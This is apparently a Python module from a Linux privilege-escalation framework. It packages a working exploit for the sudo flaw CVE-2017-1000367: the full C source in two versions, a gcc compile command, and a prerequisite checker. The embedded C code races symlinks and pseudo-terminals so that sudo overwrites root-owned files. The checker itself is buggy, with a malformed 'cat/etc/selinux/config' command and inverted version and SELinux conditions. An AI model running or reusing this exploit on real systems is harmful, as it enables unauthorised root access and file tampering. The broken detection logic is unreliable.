"""
adapted from:
https://github.com/c0d3z3r0/sudo-CVE-2017-1000367/sudopwn.c
"""
import os
from exploits.exploit import LinuxExploit
from src.kernels import KernelWindow
from constants import *


class CVE20171000367(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20171000367"
		self.formatted_name = "CVE-2017-1000367"
		self.e_type = "linux"
		self.brief_desc = "sudo get_process_ttyname() root priv esc"
		self.reliability = HIGH_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 4, 20, 0)
		self.architecture = ARCHITECTURE_i686
		self.playground_path = playground_path
		self.vulnerable_kernels = [

		]
		self.exploit_kernels = [

		]
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {}".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/*
 * E-DB Note: http://www.openwall.com/lists/oss-security/2017/05/30/16
 * E-DB Note: http://seclists.org/oss-sec/2017/q2/470
 *
 * Linux_sudo_CVE-2017-1000367.c
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.

    [john@...alhost ~]$ head -n 8 /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt

    [john@...alhost ~]$ sudo -l
    [sudo] password for john:
    ...
    User john may run the following commands on localhost:
        (ALL) /usr/bin/sum

    [john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\\nHELLO\\nWORLD\\n'
    [sudo] password for john:

    [john@...alhost ~]$ head -n 8 /etc/passwd
    /usr/bin/sum: unrecognized option '--
    HELLO
    WORLD
    '
    Try '/usr/bin/sum --help' for more information.
    ogin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

 */

#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <paths.h>
#include <pty.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define SUDO_BINARY "/usr/bin/sudo"
#define TARGET_FILE "/etc/init.d/README"
#define SELINUX_ROLE "unconfined_r"

#define WORKING_DIR "/dev/shm/_tmp"
#define TTY_SYMLINK WORKING_DIR "/_tty"
#define TTY_SYMLINK_ TTY_SYMLINK "_"

#define die() do { \\
    fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \\
    exit(EXIT_FAILURE); \\
} while (0)

int
main(const int my_argc, const char * const my_argv[])
{
    if (my_argc <= 1) die();
    if (my_argc >= INT_MAX/2) die();
    char comm[sizeof(WORKING_DIR) + 16];
    char pts[PATH_MAX];

    #define PTS_NUM 32
    int pts_fds[2 * PTS_NUM];
    unsigned int i = PTS_NUM;
    while (i--) {
        int ptm_fd;
        if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die();
        if (close(ptm_fd)) die();
    }
    struct stat sbuf;
    if (fstat(*pts_fds, &sbuf)) die();
    if (!S_ISCHR(sbuf.st_mode)) die();
    if (sbuf.st_rdev <= 0) die();
    if ((unsigned int)snprintf(comm, sizeof(comm), "%s/     %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev)
                                  >= sizeof(comm)) die();
    for (i = 0; i < PTS_NUM; i++) {
        if (close(pts_fds[i])) die();
    }

    if (mkdir(WORKING_DIR, 0700)) die();
    if (symlink(pts, TTY_SYMLINK)) die();
    if (symlink(TARGET_FILE, TTY_SYMLINK_)) die();
    if (symlink(SUDO_BINARY, comm)) die();

    const int inotify_fd = inotify_init1(IN_CLOEXEC);
    if (inotify_fd <= -1) die();
    const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE);
    if (working_wd <= -1) die();

    const int cpu = sched_getcpu();
    if (cpu >= CPU_SETSIZE) die();
    if (cpu < 0) die();
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die();

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const unsigned int argc = 3 + my_argc - 1;
        char ** const argv = calloc(argc + 1, sizeof(char *));
        if (!argv) die();
        argv[0] = comm;
        argv[1] = "-r";
        argv[2] = SELINUX_ROLE;
        memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *));
        if (argv[argc]) die();

        if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
        static const struct sched_param sched_param = { .sched_priority = 0 };
        (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
        execve(*argv, argv, NULL);
        die();
    }

    struct inotify_event event;
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_OPEN | IN_ISDIR)) die();

    for (i = 0; ; i++) {
        if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die();
        int ptm_fd;
        char tmp[PATH_MAX];
        if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die();
        if (!strcmp(tmp, pts)) break;
        if (close(ptm_fd)) die();
    }
    while (i--) {
        if (close(pts_fds[i])) die();
    }
    if (kill(pid, SIGCONT)) die();
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die();

    if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die();
    if (kill(pid, SIGCONT)) die();

    int status = 0;
    if (waitpid(pid, &status, WUNTRACED) != pid) die();
    if (!WIFEXITED(status)) die();

    if (unlink(comm)) die();
    if (unlink(TTY_SYMLINK)) die();
    if (rmdir(WORKING_DIR)) die();
    exit(WEXITSTATUS(status));
}

/*
# alternative version from https://github.com/c0d3z3r0/sudo-CVE-2017-1000367/blob/master/sudopwn.c

#define _GNU_SOURCE
#include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>

#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )


int main( )
{

    int length, i = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];

    int master, slave;
    char pts_path[256];

    cpu_set_t  mask;
    struct sched_param params;
    params.sched_priority = 0;
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);

    mkdir("/dev/shm/_tmp", 0755);
    symlink("/dev/pts/57", "/dev/shm/_tmp/_tty");
    symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");

    fd = inotify_init();
    wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );

    pid_t pid = fork();

    if(pid == 0) {
        sched_setaffinity(pid, sizeof(mask), &mask);
        sched_setscheduler(pid, SCHED_IDLE, &params);
        setpriority(PRIO_PROCESS, pid, 19);

        sleep(1);
        execlp("/dev/shm/_tmp/     34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum", "--\\nHELLO\\nWORLD\\n", NULL);
    }else{
        setpriority(PRIO_PROCESS, 0, -20);
        int state = 0;
        while(1) {
            length = read( fd, buffer, EVENT_BUF_LEN );
            kill(pid, SIGSTOP);

            i=0;
            while ( i < length ) {
                struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];

                if ( event->mask & IN_OPEN ) {
                    //kill(pid, SIGSTOP);

                    while(strcmp(pts_path,"/dev/pts/57")){
                        openpty(&master, &slave, &pts_path[0], NULL, NULL);
                    };
                    //kill(pid, SIGCONT);
                    break;

                }else if ( event->mask & IN_CLOSE_NOWRITE ) {
                    //kill(pid, SIGSTOP);

                    unlink("/dev/shm/_tmp/_tty");
                    symlink("/etc/motd", "/dev/shm/_tmp/_tty");
                    //kill(pid, SIGCONT);

                    state = 1;
                    break;
                }

                i += EVENT_SIZE + event->len;

            }
            kill(pid, SIGCONT);
            if(state == 1) break;
        }

        waitpid(pid, NULL, 0);
        inotify_rm_watch( fd, wd );
        close( fd );
        close(wd);

        unlink("/dev/shm/_tmp/_tty");
        unlink("/dev/shm/_tmp/     34873 ");
        rmdir("/dev/shm/_tmp");
        close(master);
        close(slave);
    }

}
*/
"""

	def determine_vulnerability(self):
		"""
		For this vulnerability the following prerequisites have to be satisfied:
			- sudo version < 1.8.21
			- system must be selinux-enabled
			- sudo needs to be build with selinux support (sudo -r)
			- user needs to have sudo permissions: e.g. 'toor ALL=(ALL)NOPASSWD: /usr/bin/sum

		:return: True if vulnerable, False if not
		"""
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		sudo_version_command = "sudo -V"
		se_linux_enabled_command = "cat/etc/selinux/config"		# SELINUX=disabled not in output
		sudo_built_with_selinux_support_command = "sudo -r" 		# if 'role' is in output, it's supported
		sudo_permissions_check_command = "sudo -l" 				# if not 'may not run' in output
		sv_output = 		self.shell_results(sudo_version_command)
		sle_output = 		self.shell_results(se_linux_enabled_command)
		sbwssc_output = 	self.shell_results(sudo_built_with_selinux_support_command)
		spc_output = 		self.shell_results(sudo_permissions_check_command)


		sv_std_out = 	sv_output[0].decode('utf-8')
		major_v = 		int(sv_std_out.split(" ")[2].split(".")[0])
		minor_v = 		int(sv_std_out.split(" ")[2].split(".")[1])
		release_v = 	int(sv_std_out.split("\n")[0].split(" ")[2].split(".")[2].split("p")[0])
		if not major_v <= 1 and minor_v <= 8 and release_v <= 20:
			self.exploit_failure("sudo version {} is not less than 1.8.21")
			return False
		color_print("\t[+] sudo version {} is vulnerable (less than 1.8.21)".format(
			"{}.{}.{}".format(major_v, minor_v, release_v)))

		sle_std_out = 	sle_output[0].decode('utf-8')
		sle_std_err = 	sle_output[1].decode('utf-8')
		if "No such file" in sle_std_err or not \
			"SELINUX=disabled" in sle_std_out:
			self.exploit_failure("system does not appear to be selinux-enabled")
			return False
		color_print("\t[+] system appears to be selinux-enabled")

		sbwssc_std_out = sbwssc_output[0].decode('utf-8')
		if not "role" in sbwssc_std_out:
			self.exploit_failure("sudo does not appear to be built with selinux support")
			return False
		color_print("\t[+] sudo appears to be built with selinux support")

		spc_std_out = spc_output[0].decode('utf-8')
		spc_std_err = spc_output[1].decode('utf-8')
		if "may not run" in spc_std_err:
			self.exploit_failure("user is not a sudoer")
			return False
		color_print("\t[+] user appears to be a sudoer")

		color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
		return True

	def exploit(self):
		self.exploit_failure("this exploit requires manual review. source at {}".format(self.source_c_path))